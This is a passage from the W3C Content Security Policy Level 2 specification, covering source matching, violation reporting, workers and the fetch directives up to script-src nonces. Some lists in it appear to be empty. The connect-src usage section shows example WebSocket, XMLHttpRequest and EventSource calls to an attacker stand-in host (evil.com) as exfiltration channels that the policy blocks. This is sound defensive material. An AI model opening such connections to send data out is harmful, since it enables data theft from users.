  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.

Note: Query strings have no impact on matching: the source expression example.com/file matches all of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.

4.2.2.3. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

  • Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.

This restriction reduces the granularity of a document’s policy when redirects are in play, which isn’t wonderful, but given that we certainly don’t want to allow brute-forcing paths after redirects, it seems a reasonable compromise.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

4.2.3. The nonce attribute

Nonce sources require a new nonce attribute to be added to both script and style elements.

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.
partial interface HTMLStyleElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.

4.2.4. Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the element’s nonce attribute after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in set of source expressions.

4.2.5. Valid Hashes

An element’s content is the script block’s source for script elements, or the value of the element’s textContent IDL attribute for non-script elements such as style.

The digest of element’s content for is the result of applying an algorithm to the element’s content.

To determine whether element has a valid hash for a set of source expressions, execute the following steps:

  1. Let hashes be a list of all hash-source expressions in set of source expressions.
  2. For each hash in hashes:
    1. Let algorithm be:
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary digest of element’s content using the algorithm algorithm.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.

Note: If an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

4.3. Media Type List Syntax

The plugin-types directive uses a value consisting of a media type list.

Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.

media-type-list   = media-type *( 1*WSP media-type )
media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>

4.3.1. Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
  3. Return the set of media types.

4.3.2. Matching

A media type matches a media type list if, and only if, the media type is an ASCII case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

4.4. Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:

  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or filesystem), then abort these steps, and return the ASCII serialization of uri’s scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri’s origin.
  3. Return uri, with any fragment component removed.

To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The originally requested URL of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URL (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation (e.g. "script-src") even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URL of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.

Note: blocked-uri will not contain the final location of a resource that was blocked after one or more redirects. It instead will contain only the location that the protected resource requested, before any redirects were followed.

To send violation reports, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URL in the set of report URLs:
    1. If the user agent has already sent a violation report for the protected resource to report URL, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URL.
    2. Queue a task to fetch report URL from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URL is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for these tasks is the Content Security Policy task source.

To report a violation, the user agent MUST:

  1. Fire a violation event at the protected resource’s Document.
  2. If the set of report URLs is non-empty, send violation reports to each.

Note: This section of the specification should not be interpreted as limiting user agents' ability to apply restrictions to violation reports in order to limit data leakage above and beyond what these algorithms specify. For example, a user agent might offer users the option of disabling reporting entirely.

5. Processing Model

To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See §7 Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URLs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource’s privileges that have been restricted in this way.

Note: User agents may allow users to modify or bypass policy enforcement through user preferences, bookmarklets, third-party additions to the user agent, and other such mechanisms.

To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are allowed, but a violation report is generated and reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator may wish to enforce one policy but experiment with a stricter policy, she can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

If the user agent monitors or enforces a policy that contains a directive that contains a source list, then the user agent MUST set a CSP Request Header when requesting cross-origin resources, as described in §3.4 The CSP HTTP Request Header.

5.1. Workers

Whenever a user agent runs a worker:

  • If the worker’s script’s origin is a globally unique identifier (for example, the worker’s script’s URL has a scheme of data, blob, or filesystem), then:
    • If the user agent is enforcing a CSP policy for the owner document or parent worker, the user agent MUST enforce the CSP policy for the worker.
    • If the user agent is monitoring a CSP policy for the owner document or parent worker, the user agent MUST monitor the CSP policy for the worker.
  • Otherwise:
    • If the worker’s script is delivered with a Content-Security-Policy HTTP header containing the value policy, the user agent MUST enforce policy for the worker.
    • If the worker’s script is delivered with a Content-Security-Policy-Report-Only HTTP header containing the value policy, the user agent MUST monitor policy for the worker.

5.2. srcdoc IFrames

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any policies for the protected resource, the user agent MUST enforce those policies on the iframe srcdoc document as well.

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any policies for the protected resource, the user agent MUST monitor those policies on the iframe srcdoc document as well.

6. Script Interfaces

6.1. SecurityPolicyViolationEvent Interface

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};
documentURI, of type DOMString, readonly
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString, readonly
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString, readonly
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString, readonly
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString, readonly
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString, readonly
Refer to the original-policy property of violation reports for a description of this property.
statusCode, of type DOMString, readonly
Refer to the status-code property of violation reports for a description of this property.
sourceFile, of type DOMString, readonly
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long, readonly
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long, readonly
Refer to the column-number property of violation reports for a description of this property.

6.2. SecurityPolicyViolationEventInit Interface

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};
documentURI, of type DOMString
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString
Refer to the original-policy property of violation reports for a description of this property.
sourceFile, of type DOMString
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long
Refer to the column-number property of violation reports for a description of this property.

6.3. Firing Violation Events

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:

  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object’s blocked-uri key.
    • documentURI MUST be initialized to the value of report object’s document-uri key.
    • effectiveDirective MUST be initialized to the value of report object’s effective-directive key.
    • originalPolicy MUST be initialized to the value of report object’s original-policy key.
    • referrer MUST be initialized to the value of report object’s referrer key.
    • violatedDirective MUST be initialized to the value of report object’s violated-directive key.
    • sourceFile MUST be initialized to the value of report object’s source-file key.
    • lineNumber MUST be initialized to the value of report object’s line-number key.
    • columnNumber MUST be initialized to the value of report object’s column-number key.

The task source for these tasks is the Content Security Policy task source.

7. Directives

This section describes the content security policy directives introduced in this specification. Directive names are case insensitive.

In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include:

In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

7.1. base-uri

The base-uri directive restricts the URLs that can be used to specify the document base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "base-uri"
directive-value   = source-list

The term allowed base URLs refers to the result of parsing the base-uri directive’s value as a source list.

Note: base-uri does not fall back to the default sources.

Step 4 of the algorithm defined in HTML5 to obtain a document’s base URL MUST be changed to:

  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URLs for the protected resource, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.

7.2. child-src

The child-src directive governs the creation of nested browsing contexts as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "child-src"
directive-value   = source-list

The term allowed child sources refers to the result of parsing the child-src directive’s value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

7.2.1. Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the frame-src directive.

7.2.2. Workers

Whenever the user agent fetches a URL while processing the Worker or SharedWorker constructors [WORKERS], the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation if the URL does not match the allowed child sources for the protected resource.

7.3. connect-src

The connect-src directive restricts which URLs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

The term allowed connection targets refers to the result of parsing the connect-src directive’s value as a source list if the policy contains an explicit connect-src directive, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed connection targets for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.3.1. Usage

This section is not normative.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:

Content-Security-Policy: connect-src example.com

All of the following will fail with the preceding directive in place:

  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");

7.4. default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the default-src directive’s value as a source list if a default-src directive is explicitly specified, and otherwise the U+002A ASTERISK character (*).

To enforce the default-src directive, the user agent MUST enforce the following directives:

If not specified explicitly in the policy, the directives listed above will use the default sources as their source list.

7.4.1. Usage

This section is not normative.

default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they’re not otherwise explicitly set. That is, consider the following policy declaration:

Content-Security-Policy: default-src 'self'

Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.

Content-Security-Policy: default-src 'self'; script-src example.com

Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There’s no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type.

Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you’d like to protect. If you don’t use webfonts, for instance, there’s no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

7.5. font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

The term allowed font sources refers to the result of parsing the font-src directive’s value as a source list if the policy contains an explicit font-src, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed font sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for display in a font, such as when processing the <<@font-face>> Cascading Style Sheets (CSS) rule.

7.6. form-action

The form-action restricts which URLs can be used as the action of HTML form elements. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "form-action"
directive-value   = source-list

The term allowed form actions refers to the result of parsing the form-action directive’s value as a source list.

Whenever the user agent fetches a URL in the course of processing an HTML form element, if the URL does not match the allowed form actions for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation.

Note: form-action does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

7.7. frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a frame, iframe, object, embed or applet element, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing [UIREDRESS] attacks by avoiding being embedded into potentially hostile contexts.

The syntax for the name and value of the directive are described by the following ABNF grammar:

ancestor-source-list = [ ancestor-source *( 1*WSP ancestor-source ) ] / "'none'"
ancestor-source      = scheme-source / host-source

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive’s value as a source list. If a frame-ancestors directive is not explicitly included in the policy, then allowed frame ancestors is "*".

To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:

  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestors of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext’s active document.
    2. If document’s URL does not match the allowed frame ancestors for the protected resource, the user agent MUST:
      1. Abort loading the protected resource.
      2. Take one of the following actions:
        1. Act as if it received an empty HTTP 200 response.
        2. Redirect the user to a friendly error page which provides the option of opening the blocked page in a new top-level browsing context.
      3. Parse a sandboxing directive using the empty string as the input and the newly created document’s forced sandboxing flag set as the output.
      4. Report a violation.
      5. Abort these steps.

Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a normal cross-origin document’s load. If these steps are ignored, leakage of a document’s policy state is possible.

The frame-ancestors directive MUST be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

Note: frame-ancestors does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not frame-ancestors will still allow the resource to be framed from anywhere.

When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

7.7.1. Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header’s DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document’s location. This directive checks each ancestor. If any ancestor doesn’t match, the load is cancelled. [RFC7034]

The frame-ancestors directive obsoletes the X-Frame-Options header. If a resource has both policies, the frame-ancestors policy SHOULD be enforced and the X-Frame-Options policy SHOULD be ignored.

7.7.2. Multiple Host Source Values

This section is not normative.

Multiple source-list expressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application components that are multiple levels below the top-level browsing context.

Many common scenarios for permissioned embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accommodating such scenarios with a static frame-ancestors directive listing multiple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the sources necessary for each given embedding of the resource.

Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:

Content-Security-Policy: frame-ancestors https://alice https://bob

would allow Bob to re-frame Alice’s resource and create fraudulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

7.8. frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead.

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

The term allowed frame sources refers to the result of parsing the frame-src directive’s value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed frame sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.9. img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

The term allowed image sources refers to the result of parsing the img-src directive’s value as a source list if the policy contains an explicit img-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed image sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for an image, such as when processing the src or srcset attributes of an img element, the src attribute of an input element with a type of image, the poster attribute of a video element, the url(), image() or image-set() values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS4-IMAGES], or the href attribute of a link element with an image-related rel attribute, such as icon.

7.10. media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
directive-value   = source-list

The term allowed media sources refers to the result of parsing the media-src directive’s value as a source list if the policy contains an explicit media-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed media sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track element.

7.11. object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

The term allowed object sources refers to the result of parsing the object-src directive’s value as a source list if the policy contains an explicit object-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed object sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

It is not required that the consumer of the element’s data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other §7 Directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URL (e.g., because the object element lacked a data attribute), if the protected resource’s URL does not match the allowed object sources for the protected resource, the user agent MUST NOT load the plugin.

7.12. plugin-types

The plugin-types directive restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "plugin-types"
directive-value   = media-type-list

The term allowed plugin media types refers to the result of parsing the plugin-types directive’s value as a media type list.

Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold:

Note: In any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content.

Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well.

Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

7.12.1. Usage

This section is not normative.

The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:

Content-Security-Policy: plugin-types application/pdf

Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:

Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash

Note: Wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

7.12.2. Predeclaration of expected media types

This section is not normative.

Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:

<object data="resource" type="application/pdf"></object>

If resource isn’t actually a PDF file, it won’t load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended.

Note: resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

7.13. report-uri

The report-uri directive specifies a URL to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

The set of report URLs is the value of the report-uri directive, each resolved relative to the protected resource’s URL.

The process of sending violation reports to the URLs specified in this directive’s value is defined in this document’s §4.4 Reporting section.

Note: The report-uri directive will be ignored if contained within a meta element.

7.14. sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = "" / sandbox-token *( 1*WSP sandbox-token )
sandbox-token     = <token from RFC 7230>

When enforcing the sandbox directive, the user agent MUST parse a sandboxing directive using the directive-value as the input and protected resource’s forced sandboxing flag set as the output. [HTML5]

The sandbox directive will be ignored when monitoring a policy, and when contained in a policy defined via a meta element. Moreover, this directive has no effect when monitored, and has no reporting requirements.

7.14.1. Sandboxing and Workers

When delivered via an HTTP header, a Content Security Policy may indicate that sandboxing flags ought to be applied to a JavaScript execution environment that is not a Document. Of particular interest is the script content intended for use as a Worker, Shared Worker, or Service Worker. Many of the sandboxing flags do not apply to such environments, but allow-scripts and allow-same-origin have special requirements.

When a resource is loaded while executing the runs a Worker algorithm, the user agent MUST act as if there was a fatal network error and no resource could be obtained if either of the following conditions holds:

  1. The sandbox directive delivered with the resource does not contain the allow-scripts flag.
  2. The sandbox directive delivered with the resource does not contain the allow-same-origin flag, and the creation of the new execution context requires it to be same-origin with its creating context.

7.14.2. Usage

This section is not normative.

HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content’s abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute’s value.

The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself.

For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox

More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive’s value. For example, you can allow a page that you trust to run script, while ensuring that it isn’t treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:

Content-Security-Policy: sandbox allow-scripts

The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include:

Note: Like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

7.15. script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [XSLT], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

The term allowed script sources refers to the result of parsing the script-src directive’s value as a source list if the policy contains an explicit script-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources:

  • Whenever the user agent would execute an inline script from a script element that lacks a valid nonce and lacks a valid hash for the allowed script sources, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute an inline script from an inline event handler, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute script contained in a javascript URL, instead the user agent MUST NOT execute the script, and MUST report a violation.

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval [ECMA-262] MUST throw an EvalError exception.
  • When called as a constructor, the function Function [ECMA-262] MUST throw an EvalError exception.
  • When called with a first argument that is not callable (a string, for example), the setTimeout() function MUST return zero without creating a timer.
  • When called with a first argument that is not callable (a string, for example), the setInterval() function MUST return zero without creating a timer.

Whenever the user agent fetches a URL (including when following redirects) in the course of one of the following activities, if the URL does not match the allowed script sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting a script while processing the src attribute of a script element that lacks a valid nonce for the allowed script sources.
  • Requesting a script while invoking the importScripts method on a WorkerGlobalScope object. [WORKERS]
  • Requesting an HTML component, such as when processing the href attribute of a link element with a rel attribute containing the token import. [HTML-IMPORTS]
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [XSLT], such as when processing the <?xml-stylesheet?> processing directive in an XML document [XML11], the href attributes on <xsl:include> and <xsl:import> elements.

7.15.1. Nonce usage for script elements

This section is not normative.

The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce.

Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-$RANDOM'

This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'

Script elements can then execute either because their src URLs are whitelisted or because they have a valid nonce:

<script>
alert("Blocked because the policy doesn’t have 'unsafe-inline'.")
</script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Still blocked because nonce is wrong.")
</script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
alert("Allowed because nonce is valid.")
</script>

<script src="https://example.com/allowed-because-of-src.js"></script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
    src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
    src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>

